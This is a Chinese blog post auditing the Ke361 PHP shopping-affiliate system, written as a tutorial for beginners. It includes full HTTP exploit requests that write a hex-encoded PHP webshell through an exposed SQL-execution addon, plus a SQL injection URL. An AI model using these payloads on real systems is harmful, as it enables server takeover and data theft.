Created Monday 03 October 2016
2016年10月3号 状态:良好 心情:电脑坏了很郁闷

Ke361(V1.0.706最新版)是一个开源的淘宝客程序,基于最新的ThinkPHP3.2版本开发,提供更方便、更安全的WEB应用开发体验,采用了全新的架构设计和命名空间机制,融合了模块化、驱动化和插件化的设计理念于一体,以帮助想做淘宝客而技术水平不高的朋友。突破了传统淘宝客程序对自动采集商品收费的模式,该程序的自动采集模块对于所有人开放,代码不加密,方便大家修改。集成淘点金组件,自动转换淘宝链接为淘宝客推广链接。

说明:这套系统是基于thinkphp框架开发的,框架安全性是比较好,但开发脑子有坑,安全性基本上是依赖于框架,所以自己开发的代码中没有很好的考虑到安全,导致该套系统存在比较多的严重安全漏洞。这套代码挖掘起来非常有意思,特别是越深入就越有味道(我这是针对漏洞挖掘来说),个人觉得非常适合新手练手,当然根硕我也是菜鸟了,具体的漏洞我会在下面指出,详情如下:

0x01 前台sql执行语句,可写一句话成功getshell

说明:这个漏洞的发现起初是从后台的扩展应用中找到的,超级管理员可安装这个插件,安装后便可在后台执行sql语句,那么怎是实现前台执行呢,请往下看:
具体这个功能代码位置是在这里:ke361_V1.0.706\Addons\ExecuteSql\Controller\ExecuteSqlController.class.php 1行
具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
namespace Addons\ExecuteSql\Controller;
use Home\Controller\AddonsController;
use Think\Db;
class ExecuteSqlController extends AddonsController{
public function executeSql(){
$sql = I('post.sql');post提交sql语句执行;//
$orginal = C('ORIGINAL_TABLE_PREFIX');
$prefix = C('DB_PREFIX');
$sql = str_replace(" `{$orginal}", " `{$prefix}", $sql);
$db = Db::getInstance();
$res = $db->execute($sql);

if(false!==$res){
$this->success('操作成功');
}else {
$this->error('执行失败:'.$db->getError());
}
}
}

那么我们怎么调用到这个插件呢,起初我是安装了之后在看这个功能如何调后(结合后台功能),找到了调用的控制器:
ke361_V1.0.706\Application\Admin\Controller\AddonsController.class.php 592行
具体代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function execute($_addons = null, $_controller = null, $_action = null){
if(C('URL_CASE_INSENSITIVE')){
$_addons = ucfirst(parse_name($_addons, 1));
$_controller = parse_name($_controller,1);
}

$TMPL_PARSE_STRING = C('TMPL_PARSE_STRING');
$TMPL_PARSE_STRING['ADDONROOT'] = ROOT . "/Addons/{$_addons}";
C('TMPL_PARSE_STRING', $TMPL_PARSE_STRING);

if(!empty($_addons) && !empty($_controller) && !empty($_action)){
$Addons = A("Addons:{$_addons}/{$_controller}")->$_action();//
} else {
$this->error('没有指定插件名称,控制器或操作!');
}
}

我们来分析一下,这段代码其实也比较简单,就是根据url中对应的数据去调用对应的插件/控制器/方法;
于是我们就可以构造链接了,下面我直接放出写一句话木马的数据包(我这里是以管理员的身份调用的这个方法):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /ke361_V1.0.706/admin.php?s=/Addons/execute/_addons/ExecuteSql/_controller/ExecuteSql/_action/executeSql.html HTTP/1.1
Host: 192.168.99.162
Content-Length: 415
Accept: */*
Origin: http://192.168.99.162
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.99.162/ke361_V1.0.706/admin.php?s=/Index/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: 5b6a867051eb76870151ec91c0b60220=5b6a867056d7e88c0156e4dad4d3300d; CNZZDATA1258957184=345554369-1472975864-http%253A%252F%252F192.168.99.162%252F%7C1473234471; bdshare_firstime=1473321423880; Hm_lvt_bdd5d33f7fa2b22c8f9034fcbed5eca9=1473299582; a6266_times=7; REMEMBERME=VG9weGlhXFNlcnZpY2VcVXNlclxDdXJyZW50VXNlcjpZV1J0YVc1QWMySXVZMjl0OjE1MDUzMDAyODA6ZTc4NDhmNmJlZWEzNmQwNjFlZmVlMjg4ZTRkZTY0ZDViMGMwYWVkNTQwMjNiMWE1OGQzMzdiNTY5ODI5ZTZjYg%3D%3D; CNZZDATA1254932726=1507236329-1474541169-http%253A%252F%252F192.168.99.162%252F%7C1474541169; a8743_times=1; pic_sid=O4hKXQ; PHPSESSID=2bg8tp1m5558sts8nu7pf0ojd6; amvid=3dc9b9cfe24316e6c5224aed72fe456a; onethink_admin_forward=%2Fke361_V1.0.706%2Fadmin.php%3Fs%3D%2FAddons%2Findex%2F5b6a867051eb76870151ec91c0b60220%2F5b6a867056d7e88c0156e4dad4d3300d%2FCNZZDATA1258957184%2F345554369-1472975864-http%25253A%25252F%25252F192.168.99.162%25252F%257C1473234471%2Fbdshare_firstime%2F1473321423880%2FHm_lvt_bdd5d33f7fa2b22c8f9034fcbed5eca9%2F1473299582%2Fa6266_times%2F7%2FREMEMBERME%2FVG9weGlhXFNlcnZpY2VcVXNlclxDdXJyZW50VXNlcjpZV1J0YVc1QWMySXVZMjl0OjE1MDUzMDAyODA6ZTc4NDhmNmJlZWEzNmQwNjFlZmVlMjg4ZTRkZTY0ZDViMGMwYWVkNTQwMjNiMWE1OGQzMzdiNTY5ODI5ZTZjYg%253D%253D%2FCNZZDATA1254932726%2F1507236329-1474541169-http%25253A%25252F%25252F192.168.99.162%25252F%257C1474541169%2Fa8743_times%2F1%2Fpic_sid%2FO4hKXQ%2FPHPSESSID%2F2bg8tp1m5558sts8nu7pf0ojd6%2Fonethink_admin_forward%2F%252Fke361_V1.0.706%252Fadmin.php%253Fs%253D%252FAddons%252Findex.html%2Famvid%2F3dc9b9cfe24316e6c5224aed72fe456a%2Fp%2F2.html
Connection: close

sql=select//0x3c3f706870206e616d65737061636520436f6e74726f6c6c65723b757365205468696e6b436f6e74726f6c6c65723b20636c61737320496e646578436f6e74726f6c6c6572207b7075626c69632066756e6374696f6e2068656c6c6f28297b6563686f202768656c6c6f2c7468696e6b70687021273b7d7d4061737365727428245f504f53545b2761275d293b3f3e,"","","","","","","","","","","",""//into//outfile//"C:\\phpStudy\\WWW\\ke361_V1.0.706\\test.php"/**/-- /*


截个图说明一些,从图中可以看见写入一句话成功了:

菜刀连上一句话木马试试,截图可见,成功连上:

后台写一句话成功了,但是这是在拥有管理员口令的基础上,这时我们肯定会想怎么才能拿到管理员的口令呢?按照常规思路比如sql注入啊,XSS漏洞啊什么的都可以,确实这套代码也存在这些个漏洞,但是这个我先不说,我要说的是开发的第一个脑坑在代码审计中发现了插件控制器不仅是后台才有,特么的前台居然也有(虽然功能没后台的强大,但是关键调用的代码它是有的),代码位置:ke361_V1.0.706\Application\Home\Controller\AddonsController.class.php 31行
具体代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function execute($_addons = null, $_controller = null, $_action = null){
if(C('URL_CASE_INSENSITIVE')){
$_addons = ucfirst(parse_name($_addons, 1));
$_controller = parse_name($_controller,1);
}

$TMPL_PARSE_STRING = C('TMPL_PARSE_STRING');
$TMPL_PARSE_STRING['ADDONROOT'] = ROOT . "/Addons/{$_addons}";
C('TMPL_PARSE_STRING', $TMPL_PARSE_STRING);

if(!empty($_addons) && !empty($_controller) && !empty($_action)){
$Addons = A("Addons:{$_addons}/{$_controller}")->$_action();//
} else {
$this->error('没有指定插件名称,控制器或操作!');
}
}

熟悉么,是不是和后台的一毛一样,没错,他就是一毛一样,于是老子前台随便注册一个账户,登上去,就直接祭出我祖传神器BURP构造数据包写一句话了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /ke361_V1.0.706/index.php?s=/Addons/execute/_addons/ExecuteSql/_controller/ExecuteSql/_action/executeSql.html HTTP/1.1
Host: 192.168.99.162
Content-Length: 415
Accept: */*
Origin: http://192.168.99.162
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.99.162/ke361_V1.0.706/admin.php?s=/Index/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: 5b6a867051eb76870151ec91c0b60220=5b6a867056d7e88c0156e4dad4d3300d; CNZZDATA1258957184=345554369-1472975864-http%253A%252F%252F192.168.99.162%252F%7C1473234471; bdshare_firstime=1473321423880; Hm_lvt_bdd5d33f7fa2b22c8f9034fcbed5eca9=1473299582; a6266_times=7; REMEMBERME=VG9weGlhXFNlcnZpY2VcVXNlclxDdXJyZW50VXNlcjpZV1J0YVc1QWMySXVZMjl0OjE1MDUzMDAyODA6ZTc4NDhmNmJlZWEzNmQwNjFlZmVlMjg4ZTRkZTY0ZDViMGMwYWVkNTQwMjNiMWE1OGQzMzdiNTY5ODI5ZTZjYg%3D%3D; CNZZDATA1254932726=1507236329-1474541169-http%253A%252F%252F192.168.99.162%252F%7C1474541169; a8743_times=1; pic_sid=O4hKXQ; PHPSESSID=2bg8tp1m5558sts8nu7pf0ojd6; onethink_admin_forward=%2Fke361_V1.0.706%2Fadmin.php%3Fs%3D%2FAddons%2Findex%2F5b6a867051eb76870151ec91c0b60220%2F5b6a867056d7e88c0156e4dad4d3300d%2FCNZZDATA1258957184%2F345554369-1472975864-http%25253A%25252F%25252F192.168.99.162%25252F%257C1473234471%2Fbdshare_firstime%2F1473321423880%2FHm_lvt_bdd5d33f7fa2b22c8f9034fcbed5eca9%2F1473299582%2Fa6266_times%2F7%2FREMEMBERME%2FVG9weGlhXFNlcnZpY2VcVXNlclxDdXJyZW50VXNlcjpZV1J0YVc1QWMySXVZMjl0OjE1MDUzMDAyODA6ZTc4NDhmNmJlZWEzNmQwNjFlZmVlMjg4ZTRkZTY0ZDViMGMwYWVkNTQwMjNiMWE1OGQzMzdiNTY5ODI5ZTZjYg%253D%253D%2FCNZZDATA1254932726%2F1507236329-1474541169-http%25253A%25252F%25252F192.168.99.162%25252F%257C1474541169%2Fa8743_times%2F1%2Fpic_sid%2FO4hKXQ%2FPHPSESSID%2F2bg8tp1m5558sts8nu7pf0ojd6%2Famvid%2F3dc9b9cfe24316e6c5224aed72fe456a%2F0%2Fadmin.php%253Fs%253D%2FAddons%2Findex%2Fonethink_admin_forward%2F%252Fke361_V1.0.706%252Fadmin.php%253Fs%253D%252FAddons%252Findex.html%2Fp%2F1.html; amvid=29cb89cb4a3e5740cf68a245efd2896d
Connection: close

sql=select//0x3c3f706870206e616d65737061636520436f6e74726f6c6c65723b757365205468696e6b436f6e74726f6c6c65723b20636c61737320496e646578436f6e74726f6c6c6572207b7075626c69632066756e6374696f6e2068656c6c6f28297b6563686f202768656c6c6f2c7468696e6b70687021273b7d7d4061737365727428245f504f53545b2761275d293b3f3e,"","","","","","","","","","","",""//into//outfile//"C:\\phpStudy\\WWW\\ke361_V1.0.706\\test.php"/**/-- /*


来来来,再截图看看,瞎子都看见写入成功了:

玛德,其实我们只要分析一下就能发现,其实这段关键的调用代码其实是通用的,后台的所有插件它都能调用,而且这些插件的权限都很高,操作都很关键……………这尼玛不是开发脑子有坑,就是这个可能是他们留下的后门。(明天再写其他的漏洞吧,我要回家**了)

0x02 前台无需登录注入

心得:先不说漏洞情况,来谈谈注入挖掘的心得吧。这套系统是基于thinkphp3.2框架开发的,sql语句有对应的方法封装起来了,挖掘这个框架sql注入漏洞我认为的最快方法就是直接搜索where()这个关键字(这个是封装sql语句中的where条件的),主要看这个方法中的参数,当然这只争对sql注入来说;过滤掉传入参数是数组类型的,这里举个栗子,如下图2.1所示,这里即使uid从用户传参时未做过滤这里同样也是无法注入的,我之前有查过,thinkphp官方提供的防注入的方法中有这一条,官方提供的防注入方法如图2.2所示。我们要找的目标就是以字符或数字类型的变量直接传入where条件中的,类似的如图2.3所示,像这个传入方式,我们就可以去回溯传入的参数了。个人觉得这个方法最快,当然大牛绕道,不喜勿喷……

(图 2.1)

(图2.2)

(图2.3)

好了不多说了,下面就直接看漏洞详情吧。
代码位置:\ke361_V1.0.706\Application\Home\Controller\TopicController.class.php 28行
具体代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function detail(){
$id = I('id');参数传入//
$where['tid'] = $id;
$TopicModel = new TopicModel();
$topicInfo = $TopicModel->info($id);
if(empty($topicInfo)){
$this->error('您查看的专题不存在哦!');
}
M('Topic')->where('id='.$id)->setInc('hits');//id参数直接外部传入,未作处理传入where条件中;
$this->setSiteTitle($topicInfo['title']);
$goods = $this->lists(D('Goods'),$where);
foreach ($goods as $k=>$v){
$goods[$k]['url'] = U('/goods/'.$v['id']);
}
$this->assign('goods',$goods);
$this->assign('topic',$topicInfo);
$this->display();
}

这个代码就非常简单了,根据用户传入的专题id去数据库搜索对用的专题,之后在tpl中显示出来。
传入参数为做任何过滤以及防注入处理直接拼接到sql语句中,显然存在注入。
于是我们够造一下url,sqlmap跑出的截图如下所示:
http://192.168.99.162/ke361_V1.0.706/index.php?s=/Topic/detail/id/2*.html

0x03 前台XSS直打后台

我之前也说过了,这套系统的安全性基本靠框架,XSS这种难以防御的漏洞,这套系统真的比较多,也比较明显,我在这里就简单举一个例子来说明吧。个人觉得XSS看代码没有意思,本人一般是用户能输入的地方都测试一下,好像还比仔细看代码要来得快些
例子:这个漏洞的位置就在用户对文章的评论的地方

先看看后台是如何触发的:

今天先不写了,根硕要看书去了。
注:本篇文章适合新手入门,博主也建议新手可以从ke361这套代码开始审计,因为这套代码几乎能包含所有常见的代码漏洞问题,能做到如此典型也是相当不容易,哈哈..